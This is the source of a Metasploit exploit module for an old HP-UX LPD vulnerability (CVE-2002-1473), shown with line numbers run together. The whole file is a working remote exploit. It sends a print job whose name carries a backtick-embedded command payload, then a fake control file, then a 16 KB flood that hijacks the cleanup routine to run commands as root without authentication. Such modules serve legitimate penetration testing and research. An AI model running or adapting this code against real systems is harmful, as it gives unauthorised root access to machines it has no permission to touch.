Path: blob/master/modules/exploits/hpux/lpd/cleanup_exec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HP-UX LPD Command Execution',16'Description' => %q{17This exploit abuses an unpublished vulnerability in the18HP-UX LPD service. This flaw allows an unauthenticated19attacker to execute arbitrary commands with the privileges20of the root user. The LPD service is only exploitable when21the address of the attacking system can be resolved by the22target. This vulnerability was silently patched with the23buffer overflow flaws addressed in HP Security Bulletin24HPSBUX0208-213.25},26'Author' => [ 'hdm' ],27'References' => [28['CVE', '2002-1473'],29['OSVDB', '9638'],30['URL', 'https://web.archive.org/web/20041213153521/http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],31],32'Platform' => %w[hpux unix],33'Arch' => ARCH_CMD,34'Payload' => {35'Space' => 200,36'DisableNops' => true,37'BadChars' => "\x00\x09\x20\x2f",38'Compat' => {39'PayloadType' => 'cmd',40'RequiredCmd' => 'generic perl telnet'41}42},43'Targets' => [44[ 'Automatic Target', {}]45],46'Privileged' => true,47'DefaultTarget' => 0,48'DisclosureDate' => '2002-08-28',49'Notes' => {50'Stability' => [CRASH_SAFE],51'SideEffects' => [IOC_IN_LOGS],52'Reliability' => [REPEATABLE_SESSION]53}54)55)5657register_options([58Opt::RPORT(515)59])60end6162def exploit63# The job ID is squashed down to three decimal digits64jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]6566# Connect to the LPD service67connect6869print_status('Sending our job request with embedded command string...')7071# Send the job request with the encoded command72sock.put("\x02#{rand_text_alphanumeric(3)}#{jid}`#{payload.encoded}`\n")7374res = sock.get_once(1)75if !(res && res[0, 1] == "\x00")76fail_with(Failure::Unknown, 'The target did not accept our job request')77end7879print_status('Sending our fake control file...')80sock.put("\x02 32 cfA#{rand_text_alphanumeric(8)}\n")8182res = sock.get_once(1)83if !(res && res[0, 1] == "\x00")84fail_with(Failure::Unknown, 'The target did not accept our control file')85end8687print_status('Forcing an error and hijacking the cleanup routine...')8889begin90sock.put(rand_text_alphanumeric(16384))91rescue StandardError92# request may fail, this is expected93end94ensure95disconnect unless sock.nil?96end97end9899100